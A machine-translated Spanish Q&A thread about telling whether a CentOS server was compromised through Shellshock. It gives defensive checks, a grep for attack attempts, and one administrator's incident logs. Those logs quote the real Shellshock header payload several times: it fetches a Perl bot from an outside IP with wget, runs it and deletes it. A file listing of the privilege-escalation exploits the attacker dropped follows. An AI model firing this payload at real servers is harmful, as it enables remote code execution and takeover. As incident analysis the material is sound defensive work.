Pregunta Shellshock: ¿Cómo puedo saber si mi servidor está comprometido + archivos sospechosos a tener en cuenta?


Tres preguntas que espero que alguien pueda ayudar a responder:

  1. ¿Cómo puedo saber si mi servidor ya está comprometido debido al error de Shellshock?
  2. Si estaba comprometido, ¿hay alguna carpeta en particular donde debería buscar archivos maliciosos?
  3. ¿Cómo se ve un archivo malicioso?

Estoy corriendo CentOS 6, pila LEMP


18
2017-09-29 11:34


origen




Respuestas:


¿Cómo puedo saber si mi servidor ya está comprometido debido al error de Shellshock?

Usted no Esa es la idea de una vulnerabilidad de seguridad. Si tuvieras que hacer clic Deja que las galletas en? Aceptar / Cancelar No sería una gran vulnerabilidad.

Es posible que tenga suerte revisando los registros de sus vectores de ataque, pero dado que muchos servicios son vulnerables y no todos registran cada acceso, es probable que no sea posible encontrar un ataque de manera concluyente.

Si estaba comprometido, ¿hay alguna carpeta en particular donde debería buscar archivos maliciosos?

No, un archivo malicioso podría estar en cualquier parte.

Los rootkits comunes se instalan en /root o / o /tmp o uno de los caminos binarios pero realmente podrían estar en cualquier lugar. Podrían tener un nombre similar a un servicio real o algo "importante" que parece "IPTables"o"kernel-bin"pero también podrían ser cadenas aleatorias de caracteres o el mismo nombre que un binario genuino (solo en una ruta diferente). Puedes detectar un rootkit realmente obvio al cargar /etc/rc.local o hacer conexiones a través de netstat -neopa. Busque nombres de procesos sospechosos en top -c.

Un rootkit menos común y mucho más difícil de encontrar reemplaza una biblioteca o se carga a sí mismo como una biblioteca de simulación e intercepta llamadas al sistema. Esto es casi imposible de encontrar, a menos que realice un seguimiento / seguimiento de cada cosa que se ejecute en su sistema y compare el comportamiento con el comportamiento esperado de un sistema o código fuente bien conocido.

Sería más rápido, más fácil y más concluyente simplemente recargar el sistema.

¿Cómo se ve un archivo malicioso?

Probablemente como cualquier otro binario o biblioteca ELF regular. También puede ser un guión.

En conclusión, si cree que hay una posibilidad de que su sistema se haya visto comprometido, trate el sistema como si estuviera comprometido y tome las medidas necesarias.


36
2017-09-29 11:46



+1 "¿Dejar las galletas en?"  En otra nota ... si ve algo llamado "IPTables" en Linux, esté muy suspicaz. UNIXian es CapsPhobic. - bishop
Si cree que existe la posibilidad de que su sistema haya sido comprometido, trátelo como si hubiera sido comprometido y tome las medidas necesarias. Esto significa que todo sistema posible que tiene bash instalado y un cable de red enchufado, ¿verdad? - Federico Poloni
@FedericoPoloni Solo si alguien puede obtener acceso a su shell a través de la red. Pero por lo demás tienes toda la razón. - scai
@FedericoPoloni No estoy seguro de que sea una elección acertada, porque tendría que tener todos los sistemas caídos constantemente, ya que nunca puedo estar 100% seguro de que no estuvieran comprometidos, y en serio nadie puede estar seguro de que sus sistemas no estuvieran comprometidos a menos que Son una idiota muy optimista. Si tiene la sospecha de que su sistema no se comporta como debería, debería examinarlo y su tráfico de red, preferiblemente desde A CLEAN OS. Si no encuentra evidencia de manipulación, no tiene que tomar medidas al lado de arreglar los agujeros. ¡De lo contrario tendríamos que reinstalar constantemente TODOS los sistemas 24x7! - Frank Waller
@FrankWaller Estoy completamente de acuerdo. Ahi esta siempre una posibilidad remota de que un sistema se haya visto comprometido y que el atacante tenga la habilidad suficiente para no dejar ningún rastro, pero no podemos reinstalar 24x7 para atender este caso. - Federico Poloni


Shellshock no es un gusano, por lo que no hay archivos que buscar. Shellshock es una forma de atacar una red para ganar entrada. Una vez dentro quién sabe qué hará el atacante.


20
2017-09-29 12:02



Esta respuesta me parece un poco confusa, tal vez fue precipitada a toda prisa, o debería ser un comentario en lugar de una respuesta. Claro, no es un gusano (es una vulnerabilidad, no es una pieza de malware), pero no está claro por qué crees que es relevante o por qué significa "no hay archivos que buscar". Shellshock no es una forma de atacar una red; Es una forma de irrumpir en una máquina. Es un ataque a una máquina, no a una red. - D.W.
@ D.W. Concedido muy sucinto, pero claramente en respuesta directa a la preocupación del OP is there a particular folder where I should look for malicious files. - ᴠɪɴᴄᴇɴᴛ


He visto un intento de explotar el error, que instalaría un bot IRC como /var/tmp/x. Pero en general no hay archivos particulares que buscar, ya que podrían estar en cualquier lugar o en cualquier lugar.

Si quedó comprometido a través del servidor web, cualquier archivo o proceso nuevo que sea propiedad del usuario del servidor web sería sospechoso.

En caso de que un atacante usara primero el bash error para entrar en el sistema y luego una vulnerabilidad local para convertirse root, podría ser casi imposible de detectar.

También mira esto pregunta similar.


5
2017-09-29 11:45



+1 para la idea de propiedad del usuario del servidor web - Xan


Me gustaría repetir la respuesta de suprjami y decir que si su sistema es vulnerable, debe tratarlo como comprometido.

Si está ejecutando apache, puede verificar los registros de los intentos de intrusión de Shellshock con el siguiente comando:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

Este comando extrae todas las líneas que contienen "cgi" de los registros de acceso de Apache (de forma predeterminada, denominados access_log, access_log.1, access_log.2, etc.) y luego las canaliza a egrep con la expresión regular.

(Fuente: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash)


4
2017-09-29 16:19



Tenga en cuenta que para una configuración predeterminada de Apache, esto solo mostrará los ataques en la URL de destino y en los encabezados "User-Agent" y "Referer". No se registrará un ataque en un encabezado como "Cookie" o "X-Ploit". - Mark
@Mark Absolutamente, debería haber mencionado eso. - Ralph
Por supuesto, lo primero que haría cualquier atacante que se precie es borrar cualquier indicio del ataque de los registros ... ¡es por eso que los registros deben escribirse una vez y ser remotos! - Jörg W Mittag


Dado que existen varios vectores de ataque para Shellshock, algunos de ellos aún desconocidos para el público en general o causados ​​por un script CGI personalizado, no hay una forma definitiva de saber si está comprometido o no.

Además de lo habitual, "veamos si algunos archivos del sistema han cambiado o si ha ocurrido algo sospechoso últimamente", podría querer vigilar el comportamiento de su servidor.

  1. ¿De repente hay mucho más tráfico de red?
  2. ¿Cambió mucho el uso de la CPU / memoria?
  3. ¿Algo que consume espacio en el disco o causa más E / S es mucho más de lo habitual?
  4. Hace netstat mostrar conexiones de red extrañas o ps aux ¿Mostrar procesos que no reconoces?
  5. ¿Su servidor envía de repente muchos más correos electrónicos que antes?

Si tiene una supervisión adecuada del estado del servidor (como Zabbix) en funcionamiento, también puede ayudarlo a descubrir las brechas de seguridad. También puede comparar las sumas de archivos de sistema de MD5 / SHA con una copia de seguridad en buen estado.

Básicamente, actúe como su servidor ha sido comprometido e investigue todo lo que pueda imaginar.


4
2017-09-30 07:11





Simplemente tuve el placer de limpiar un sistema Plesk antiguo comprometido. Lo primero que lo reveló fueron numerosos procesos que comenzaron a escuchar varios puertos y otros que intentaban descargar el código del servidor de escaneo original.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

Siguiendo los troncos descubrí que el último orificio era el a cgi_wrapper El guión, algo que se suponía debía proteger y proteger el sistema, es lo que realmente rompió el agujero en la protección. Estas son algunas de las líneas de registro de las sondas y el ataque exitoso:

Estas son las líneas del access_log, ya que esto es solo una muestra, tenga en cuenta el 200 en dos de las líneas mientras que las otras fallan con 404. No tiene que preocuparse por las líneas que tienen un 404 ya que éstas no tuvieron éxito, Los de 200 sin embargo lo hicieron. El patrón en estos ataques aquí es siempre el mismo: 1. encuentre un script cgi vulnerable, use el shellshock exploit para descargar y ejecutar un script perl, elimine el script perl nuevamente. El script perl realmente descargará algunos archivos de origen (tgz), los compilará y los ejecutará, por lo que he visto que incluyen al menos una puerta trasera y un mecanismo de actualización automático, además de lo que parece ser un exploit para intentar obtener privilegios de ejecución elevados. Todos los scripts iniciales se ejecutan realmente como el usuario proporcionado por el envoltorio, mientras que los servicios posteriores se inician con un PPID de 1 (iniciado desde el proceso raíz)).

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

Y aquí las líneas de error_log correspondientes:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

Archivos descargados a / tmp Como se puede suponer, no tengo el archivo bot.pl ya que se elimina de inmediato.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

Después de un tiempo, noté las conexiones ssh de varios lugares como China que normalmente no visitan tanto nuestro servidor. Pegué parch a bash como medida de emergencia (hubiera sido bueno tener parcheadas las fuentes disponibles en el sitio web de la FSF y no solo las fuentes y los archivos de parches realmente VIEJOS (uno de los cuales no se aplicó correctamente al principio). El sistema está programado para una limpieza completa ahora, así que si alguien está buscando algo más sobre el ataque, puede preguntar, pero hágalo pronto.


4
2017-10-01 00:23





Esta respuesta no está especialmente relacionada con Shellshock, pero para cualquier sistema que pueda pensar comprometido

Segunda nota: no puede estar seguro de haberse recuperado de un sistema comprometido a raíz. Tu única acción es destruir y reabastecer el sistema.

Trate de obtener una compilación estática limpia de rpm y ejecutar comando rpm --verify --all. Le dirá qué archivos pertenecientes a un paquete han sido modificados. Pero como puede ejecutarlo en un sistema comprometido, es posible que no confíe completamente en el resultado. Entonces puedes simplemente hacer una rpm -qa para obtener la lista de paquetes, vuelva a crear otro sistema con las mismas versiones de paquetes y luego una find / -type f |xargs -r -n 100 md5sum |sort En ambos sistemas y ver qué difiere. Además, si administra su sistema correctamente (es decir, no instala nada manualmente fuera de / opt o / usr / local / bin u otro lugar no administrado), puede buscar todos los archivos en su sistema que no pertenezcan a un paquete, con find / -type f -exec rpm -qf {} \;. Debe mostrar errores para archivos desconocidos. Te dejo que no muestres los aspectos positivos como un ejercicio ;-)

